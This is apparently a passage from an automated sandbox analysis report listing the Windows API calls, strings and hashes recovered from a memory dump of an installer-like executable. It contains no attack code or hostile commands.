                                                                                                                                                                                                                                      • SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046FAA4
                                                                                                                                                                                                                                      • SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 0046FAC9
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ChangeNotify$ErrorFullLastNamePath
                                                                                                                                                                                                                                      • String ID: Creating directory: %s
                                                                                                                                                                                                                                      • API String ID: 2451617938-483064649
                                                                                                                                                                                                                                      • Opcode ID: d5447365283b068e30203d66d8a9de4eaa18c1a3b89182fdc70a83f7754103f0
                                                                                                                                                                                                                                      • Instruction ID: 553d0e02451aea180b77d3c3bea8b04784d1aec5cd58197de2500155b30451aa
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d5447365283b068e30203d66d8a9de4eaa18c1a3b89182fdc70a83f7754103f0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E5516474E00248ABDB00DFA5D992BDEB7F5AF49304F50847AE850B7386D7786E08CB59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SfcIsFileProtected), ref: 00454E82
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,00454F48), ref: 00454EEC
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressByteCharMultiProcWide
                                                                                                                                                                                                                                      • String ID: SfcIsFileProtected$sfc.dll
                                                                                                                                                                                                                                      • API String ID: 2508298434-591603554
                                                                                                                                                                                                                                      • Opcode ID: b2872c537cb6cd03ad7726ff2c2bd0a0e2fc6763cd0da9df413ff005d177c2bc
                                                                                                                                                                                                                                      • Instruction ID: 0183ab2a96bad10459dc7acb776d15a29b7b4c70eaa7773bbc3cb8db3249cf06
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b2872c537cb6cd03ad7726ff2c2bd0a0e2fc6763cd0da9df413ff005d177c2bc
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1A419771A042189BEB20DB59DC85B9DB7B8EB4430DF5041B7E908A7293D7785F88CE1C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetClassInfoA.USER32(00400000,?,?), ref: 0041647F
                                                                                                                                                                                                                                      • UnregisterClassA.USER32(?,00400000), ref: 004164AB
                                                                                                                                                                                                                                      • RegisterClassA.USER32(?), ref: 004164CE
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Class$InfoRegisterUnregister
                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                      • API String ID: 3749476976-2766056989
                                                                                                                                                                                                                                      • Opcode ID: df6e090dea74baa5ac925230d828a7230e5c2d53f0976f0f8597eebaced2b944
                                                                                                                                                                                                                                      • Instruction ID: c77080f262680b7bd3c4c6a37e0a11d074b1995aa9dd52ebf92fb76dd285a693
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: df6e090dea74baa5ac925230d828a7230e5c2d53f0976f0f8597eebaced2b944
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B8316D702042409BD720EF69C981B9B77E5AB89308F04457FF949DB392DB39DD44CB6A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SHAutoComplete.SHLWAPI(00000000,00000001), ref: 0042EDC5
                                                                                                                                                                                                                                        • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                                                                                                                                                                        • Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
                                                                                                                                                                                                                                        • Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EDA8
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressAutoCompleteDirectoryErrorLibraryLoadModeProcSystem
                                                                                                                                                                                                                                      • String ID: SHAutoComplete$shlwapi.dll
                                                                                                                                                                                                                                      • API String ID: 395431579-1506664499
                                                                                                                                                                                                                                      • Opcode ID: 9bc7ff361d258be52dd27e2f74bcf33eed5b2b299b3a40fb55461f8ad11e2a91
                                                                                                                                                                                                                                      • Instruction ID: e807f919b0f5f47641bb36d66eaae5ab4e0d2818c3cb02d7dc2bc8906116ae4e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9bc7ff361d258be52dd27e2f74bcf33eed5b2b299b3a40fb55461f8ad11e2a91
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3311A330B00319BBD711EB62FD85B8E7BA8DB55704F90447BF40066291DBB8AE05C65D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,00455A7B,?,00000001,00000000), ref: 00455A6E
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • PendingFileRenameOperations, xrefs: 00455A40
                                                                                                                                                                                                                                      • SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00455A1C
                                                                                                                                                                                                                                      • PendingFileRenameOperations2, xrefs: 00455A4F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseOpen
                                                                                                                                                                                                                                      • String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager
                                                                                                                                                                                                                                      • API String ID: 47109696-2115312317
                                                                                                                                                                                                                                      • Opcode ID: 9558350f34ddeb35ff12a6c57317cf96059e68c4625077236ac43c80a8283c08
                                                                                                                                                                                                                                      • Instruction ID: e9356c19d9a7d2c1b22529064790e486fb2be540b5bf165494b3782c633fa2c0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9558350f34ddeb35ff12a6c57317cf96059e68c4625077236ac43c80a8283c08
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A3F0F671304A08BFDB04D661DC62A3B739CE744725FB08167F800CB682EA7CBD04915C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(000000FF,?,?,?,?,00000000,0047F9D5,?,00000000,00000000,?,?,00480C2B,?,?,00000000), ref: 0047F882
                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF,000000FF,?,?,?,?,00000000,0047F9D5,?,00000000,00000000,?,?,00480C2B,?,?), ref: 0047F88F
                                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(000000FF,?,00000000,0047F9A8,?,?,?,?,00000000,0047F9D5,?,00000000,00000000,?,?,00480C2B), ref: 0047F984
                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF,0047F9AF,0047F9A8,?,?,?,?,00000000,0047F9D5,?,00000000,00000000,?,?,00480C2B,?), ref: 0047F9A2
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Find$CloseFileNext
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2066263336-0
                                                                                                                                                                                                                                      • Opcode ID: d71ed79f5e3cae8dbdb8f9366932315e37cb591a7859d28a8b9a768ac6bf17e9
                                                                                                                                                                                                                                      • Instruction ID: 945984253e7709c97adc8e2d755cc1877c70959f01d2b28a808f8207dce1d898
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d71ed79f5e3cae8dbdb8f9366932315e37cb591a7859d28a8b9a768ac6bf17e9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FD513E71900648AFCB20EF65CC45ADEB7B8EB88315F1084BAA418E7351D7389F89CF55
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetMenu.USER32(00000000), ref: 00421361
                                                                                                                                                                                                                                      • SetMenu.USER32(00000000,00000000), ref: 0042137E
                                                                                                                                                                                                                                      • SetMenu.USER32(00000000,00000000), ref: 004213B3
                                                                                                                                                                                                                                      • SetMenu.USER32(00000000,00000000), ref: 004213CF
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Menu
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3711407533-0
                                                                                                                                                                                                                                      • Opcode ID: 011238806e8749de4259267c2425fab43e1a23b2a7ed20fe69ece2c0c4e48eae
                                                                                                                                                                                                                                      • Instruction ID: 68e231870b0c3442489bede8fdcf2aa1db34e154331db007d9f14f65c1163b63
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 011238806e8749de4259267c2425fab43e1a23b2a7ed20fe69ece2c0c4e48eae
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4641AE3070425447EB20EA3AA9857AB36925B20308F4841BFFC40DF7A3CA7CDD45839D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SendMessageA.USER32(?,?,?,?), ref: 00416B84
                                                                                                                                                                                                                                      • SetTextColor.GDI32(?,00000000), ref: 00416B9E
                                                                                                                                                                                                                                      • SetBkColor.GDI32(?,00000000), ref: 00416BB8
                                                                                                                                                                                                                                      • CallWindowProcA.USER32(?,?,?,?,?), ref: 00416BE0
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Color$CallMessageProcSendTextWindow
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 601730667-0
                                                                                                                                                                                                                                      • Opcode ID: 072521f5090f240ceba025e33949739ce14f97652003165ca459573163e57643
                                                                                                                                                                                                                                      • Instruction ID: 4ea48ea5c9b96bae81565ca4ce64eb356f32bd46963e120bc97d04dec40f2685
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 072521f5090f240ceba025e33949739ce14f97652003165ca459573163e57643
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BC115171705604AFD710EE6ECC84E8777ECEF49310715887EB959CB612C638F8418B69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WaitForInputIdle.USER32(?,00000032), ref: 00454FA8
                                                                                                                                                                                                                                      • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00454FCA
                                                                                                                                                                                                                                      • GetExitCodeProcess.KERNEL32(?,?), ref: 00454FD9
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,00455006,00454FFF,?,?,?,00000000,?,?,004551DB,?,?,?,00000044,00000000,00000000), ref: 00454FF9
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Wait$CloseCodeExitHandleIdleInputMultipleObjectsProcess
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4071923889-0
                                                                                                                                                                                                                                      • Opcode ID: 7a90289248fc1b73338e990bec893a2b2f0b3f31367c070c083f3916a619ed36
                                                                                                                                                                                                                                      • Instruction ID: ea90b2abd28d60bbe0c33bbe6d7a83e36ef454db8471bda6b5c19e9a906557d9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7a90289248fc1b73338e990bec893a2b2f0b3f31367c070c083f3916a619ed36
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B9012D31A006097FEB1097AA8C02F6FBBECDF49764F610127F904D72C2C5788D409A78
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0042311E
                                                                                                                                                                                                                                      • EnumFontsA.GDI32(00000000,00000000,00423068,00410460,00000000,?,?,00000000,?,00418FD3,00000000,?,?,?,00000001), ref: 00423131
                                                                                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00423139
                                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 00423144
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CapsDeviceEnumFontsRelease
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2698912916-0
                                                                                                                                                                                                                                      • Opcode ID: ae3b46bdf4144dece9088701a44aa945a4d7eb571b2044da6dc5baa79edeb2ca
                                                                                                                                                                                                                                      • Instruction ID: a9d24610abdaa6694e735d00c6d38f20457f2ac5f1468c421a1b182fb2ef8db9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ae3b46bdf4144dece9088701a44aa945a4d7eb571b2044da6dc5baa79edeb2ca
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8D01CC716042102AE700BF6A5C82B9B3AA49F01319F40027BF808AA3C6DA7E980547AE
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
                                                                                                                                                                                                                                      • LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSection$AllocEnterInitializeLeaveLocal
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 730355536-0
                                                                                                                                                                                                                                      • Opcode ID: 46a689739c098c0829933ff4921327776432a14e69d4c62b65241a59cfc7f4a2
                                                                                                                                                                                                                                      • Instruction ID: 91310e2de28581c92a9b529d79901d52005bdf0b1253609ef7109df0d78d257f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 46a689739c098c0829933ff4921327776432a14e69d4c62b65241a59cfc7f4a2
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D001A1706482409EE719AB69BA467253FD4D795B48F11803BF840A6BF3C77C4440EBAD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0045092C: SetEndOfFile.KERNEL32(?,?,0045C192,00000000,0045C31D,?,00000000,00000002,00000002), ref: 00450933
                                                                                                                                                                                                                                      • FlushFileBuffers.KERNEL32(?), ref: 0045C2E9
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • EndOffset range exceeded, xrefs: 0045C21D
                                                                                                                                                                                                                                      • NumRecs range exceeded, xrefs: 0045C1E6
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: File$BuffersFlush
                                                                                                                                                                                                                                      • String ID: EndOffset range exceeded$NumRecs range exceeded
                                                                                                                                                                                                                                      • API String ID: 3593489403-659731555
                                                                                                                                                                                                                                      • Opcode ID: 8bf98c9d60884cf3bb303afe6a2d902a3b8c4cda653ee0cbd8c8d24135a36091
                                                                                                                                                                                                                                      • Instruction ID: 054e4d8252a4b7fe708e1d13fc1942b3136e6dcde41ac9beef610e5760cb7d56
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8bf98c9d60884cf3bb303afe6a2d902a3b8c4cda653ee0cbd8c8d24135a36091
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D3615434A002588FDB25DF25D881AD9B7B5AF49305F0084DAED89AB353D774AEC8CF54
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 00403344: GetModuleHandleA.KERNEL32(00000000,00498726), ref: 0040334B
                                                                                                                                                                                                                                        • Part of subcall function 00403344: GetCommandLineA.KERNEL32(00000000,00498726), ref: 00403356
                                                                                                                                                                                                                                        • Part of subcall function 0040631C: GetModuleHandleA.KERNEL32(kernel32.dll,?,00498730), ref: 00406322
                                                                                                                                                                                                                                        • Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040632F
                                                                                                                                                                                                                                        • Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 00406345
                                                                                                                                                                                                                                        • Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 0040635B
                                                                                                                                                                                                                                        • Part of subcall function 0040631C: SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,00498730), ref: 00406366
                                                                                                                                                                                                                                        • Part of subcall function 004063C4: 6F551CD0.COMCTL32(00498735), ref: 004063C4
                                                                                                                                                                                                                                        • Part of subcall function 00410764: GetCurrentThreadId.KERNEL32 ref: 004107B2
                                                                                                                                                                                                                                        • Part of subcall function 00419040: GetVersion.KERNEL32(0049874E), ref: 00419040
                                                                                                                                                                                                                                        • Part of subcall function 0044F744: GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00498762), ref: 0044F77F
